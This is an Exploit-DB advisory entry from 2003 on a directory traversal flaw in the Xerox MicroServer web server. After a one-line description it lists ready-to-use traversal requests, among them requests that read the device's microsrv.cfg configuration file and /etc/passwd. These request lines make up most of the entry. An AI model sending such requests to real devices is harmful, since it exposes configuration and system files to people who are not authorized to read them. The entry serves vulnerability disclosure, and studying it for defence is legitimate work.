Xerox MicroServer - Web Server Directory Traversal

EDB-ID:

23449

CVE:

N/A




Platform:

Unix

Date:

2003-12-19


source: https://www.securityfocus.com/bid/9256/info

It has been reported that Xerox_MicroServer/Xerox11 may be prone to a directory traversal vulnerability that may allow an attacker to traverse outside the server root directory by using '/..' or '/.' character sequences at the end of a URL request. 

GET /assist/..
GET /assist/////.././../../.
http://www.example.com////../../data/config/microsrv.cfg
http://www.example.com////////../../../../../../etc/passwd